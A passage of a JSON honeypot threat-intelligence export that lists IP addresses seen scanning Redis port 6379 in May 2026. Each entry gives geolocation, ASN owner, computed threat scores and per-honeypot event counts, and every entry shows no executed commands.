      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 30,
        "ports_targeted_30d": 188,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:59:14.048000+00:00",
        "last_seen_30d": "2026-05-31T18:10:08.148000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 477
      }
    },
    "20.65.185.21": {
      "attack_count": 15,
      "first_seen": "2026-05-03T17:40:48.000Z",
      "last_seen": "2026-05-03T17:44:00.737Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 70.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.7,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T17:41:52.424000+00:00",
        "last_seen_30d": "2026-05-28T05:01:45.913000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Dionaea": 6,
        "Honeytrap": 6,
        "Redishoneypot": 3
      }
    },
    "91.230.168.110": {
      "attack_count": 15,
      "first_seen": "2026-05-23T15:50:44.000Z",
      "last_seen": "2026-05-23T15:51:50.730Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 23,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:53:11+00:00",
        "last_seen_30d": "2026-05-24T17:29:19.626000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 9,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "H0neytr4p": 1
      }
    },
    "103.214.69.210": {
      "attack_count": 14,
      "first_seen": "2026-05-21T13:45:33.000Z",
      "last_seen": "2026-05-25T08:09:13.223Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 198550,
      "as_org": "Node Host Limited",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:46:36.371000+00:00",
        "last_seen_30d": "2026-05-25T08:09:13.223000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "91.230.168.33": {
      "attack_count": 14,
      "first_seen": "2026-05-22T20:48:38.000Z",
      "last_seen": "2026-05-22T20:49:40.797Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 26,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T13:11:28.402000+00:00",
        "last_seen_30d": "2026-05-29T23:04:05.947000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 40,
        "Redishoneypot": 3
      }
    },
    "5.101.64.6": {
      "attack_count": 13,
      "first_seen": "2026-05-30T05:06:49.000Z",
      "last_seen": "2026-05-30T05:08:21.195Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T19:31:37.334000+00:00",
        "last_seen_30d": "2026-05-31T16:05:38.464000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Cowrie": 20,
        "Honeytrap": 13,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "199.45.154.121": {
      "attack_count": 12,
      "first_seen": "2026-05-17T11:13:43.000Z",
      "last_seen": "2026-05-17T11:14:49.949Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 73.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T20:42:47+00:00",
        "last_seen_30d": "2026-05-31T09:07:06.039000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 15,
        "Redishoneypot": 6
      }
    },
    "199.45.155.105": {
      "attack_count": 12,
      "first_seen": "2026-05-29T01:53:23.000Z",
      "last_seen": "2026-05-29T01:54:31.229Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 24,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:08:44+00:00",
        "last_seen_30d": "2026-05-29T17:09:57.869000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 31,
        "Redishoneypot": 6
      }
    },
    "52.40.194.133": {
      "attack_count": 12,
      "first_seen": "2026-05-25T11:48:04.000Z",
      "last_seen": "2026-05-25T11:49:07.054Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:48:04+00:00",
        "last_seen_30d": "2026-05-25T11:49:07.054000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 1
      }
    },
    "66.132.172.197": {
      "attack_count": 12,
      "first_seen": "2026-05-27T07:51:23.000Z",
      "last_seen": "2026-05-27T07:52:36.764Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 27,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:01:56.990000+00:00",
        "last_seen_30d": "2026-05-28T22:43:42.727000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 74,
        "ConPot": 12,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Tanner": 5,
        "ElasticPot": 4
      }
    },
    "66.132.172.220": {
      "attack_count": 12,
      "first_seen": "2026-05-13T23:33:49.000Z",
      "last_seen": "2026-05-13T23:34:54.667Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T06:58:31+00:00",
        "last_seen_30d": "2026-05-31T16:40:16.581000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 48,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "8.219.79.215": {
      "attack_count": 12,
      "first_seen": "2026-05-11T21:24:23.000Z",
      "last_seen": "2026-05-29T13:36:38.050Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 22,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T15:08:08.793000+00:00",
        "last_seen_30d": "2026-05-29T13:49:45.333000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46
      }
    },
    "27.185.41.158": {
      "attack_count": 11,
      "first_seen": "2026-05-05T19:45:13.000Z",
      "last_seen": "2026-05-05T19:47:18.498Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:45:13+00:00",
        "last_seen_30d": "2026-05-05T19:47:18.498000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 1
      }
    },
    "66.132.195.156": {
      "attack_count": 11,
      "first_seen": "2026-05-10T10:15:16.000Z",
      "last_seen": "2026-05-17T04:13:26.289Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 27,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T03:48:03.001000+00:00",
        "last_seen_30d": "2026-05-29T19:06:06.215000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18
      }
    },
    "101.126.20.199": {
      "attack_count": 10,
      "first_seen": "2026-05-05T18:27:24.000Z",
      "last_seen": "2026-05-08T20:57:15.947Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T18:28:29.800000+00:00",
        "last_seen_30d": "2026-05-08T20:57:15.947000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "115.190.233.69": {
      "attack_count": 10,
      "first_seen": "2026-05-12T04:26:23.000Z",
      "last_seen": "2026-05-17T17:32:17.949Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T04:27:23.652000+00:00",
        "last_seen_30d": "2026-05-17T17:32:17.949000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "147.185.132.150": {
      "attack_count": 10,
      "first_seen": "2026-05-23T02:37:06.000Z",
      "last_seen": "2026-05-23T02:38:46.534Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 25,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T15:18:26.184000+00:00",
        "last_seen_30d": "2026-05-29T23:33:58.493000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 23,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "159.75.20.50": {
      "attack_count": 10,
      "first_seen": "2026-05-03T03:35:12.000Z",
      "last_seen": "2026-05-13T14:26:02.838Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T03:36:14.354000+00:00",
        "last_seen_30d": "2026-05-13T14:26:02.838000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "20.215.89.22": {
      "attack_count": 10,
      "first_seen": "2026-05-09T21:34:12.000Z",
      "last_seen": "2026-05-19T13:13:03.178Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T21:35:19.541000+00:00",
        "last_seen_30d": "2026-05-19T13:13:03.178000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "34.197.70.90": {
      "attack_count": 10,
      "first_seen": "2026-05-16T01:05:23.000Z",
      "last_seen": "2026-05-26T01:35:46.222Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 30,
        "ports_targeted_30d": 163,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:05:04.360000+00:00",
        "last_seen_30d": "2026-05-31T17:45:33.123000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 360
      }
    },
    "130.12.180.150": {
      "attack_count": 9,
      "first_seen": "2026-05-11T21:49:48.000Z",
      "last_seen": "2026-05-11T21:50:57.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3648,
        "days_active_30d": 6,
        "ports_targeted_30d": 1783,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-08T17:46:06+00:00",
        "last_seen_30d": "2026-05-13T14:40:25.747000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1823,
        "Honeytrap": 1819,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dionaea": 1
      }
    },
    "135.222.182.210": {
      "attack_count": 9,
      "first_seen": "2026-05-09T12:38:02.000Z",
      "last_seen": "2026-05-09T12:39:09.278Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:38:02+00:00",
        "last_seen_30d": "2026-05-09T12:39:09.278000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "147.185.132.69": {
      "attack_count": 9,
      "first_seen": "2026-05-11T19:32:39.000Z",
      "last_seen": "2026-05-11T19:34:17.056Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 27,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T00:39:58+00:00",
        "last_seen_30d": "2026-05-30T23:37:06.178000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 24,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "173.255.237.34": {
      "attack_count": 9,
      "first_seen": "2026-05-08T15:46:27.000Z",
      "last_seen": "2026-05-08T15:47:34.659Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:46:27+00:00",
        "last_seen_30d": "2026-05-08T15:47:34.659000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "198.235.24.67": {
      "attack_count": 9,
      "first_seen": "2026-05-21T20:26:10.000Z",
      "last_seen": "2026-05-21T20:27:45.554Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T04:45:49.985000+00:00",
        "last_seen_30d": "2026-05-31T06:13:02.255000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Ciscoasa": 2,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "205.210.31.192": {
      "attack_count": 9,
      "first_seen": "2026-05-30T01:43:12.000Z",
      "last_seen": "2026-05-30T01:44:46.158Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T05:23:06.406000+00:00",
        "last_seen_30d": "2026-05-30T21:23:21.124000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 20,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1
      }
    },
    "45.181.69.29": {
      "attack_count": 9,
      "first_seen": "2026-05-23T04:37:09.000Z",
      "last_seen": "2026-05-23T04:38:14.715Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 269736,
      "as_org": "PACIFIC NETWORK COMMUNICATION S.A.",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-23T04:35:41+00:00",
        "last_seen_30d": "2026-05-23T04:41:54.658000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "H0neytr4p": 1,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "67.205.183.150": {
      "attack_count": 8,
      "first_seen": "2026-05-24T18:43:13.000Z",
      "last_seen": "2026-05-24T22:24:58.662Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3744,
        "days_active_30d": 1,
        "ports_targeted_30d": 1903,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T14:57:44.211000+00:00",
        "last_seen_30d": "2026-05-24T23:13:39.817000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3685,
        "Honeytrap": 58,
        "Sentrypeer": 1
      }
    },
    "124.117.193.63": {
      "attack_count": 6,
      "first_seen": "2026-05-15T11:41:06.000Z",
      "last_seen": "2026-05-15T11:42:10.022Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-15T11:42:10.022000+00:00",
        "last_seen_30d": "2026-05-15T11:42:10.022000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "157.230.226.40": {
      "attack_count": 6,
      "first_seen": "2026-05-12T17:03:20.000Z",
      "last_seen": "2026-05-12T17:04:52.384Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T03:00:07.432000+00:00",
        "last_seen_30d": "2026-05-13T07:01:34.610000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "199.45.154.184": {
      "attack_count": 6,
      "first_seen": "2026-05-29T01:53:21.000Z",
      "last_seen": "2026-05-29T01:54:26.331Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
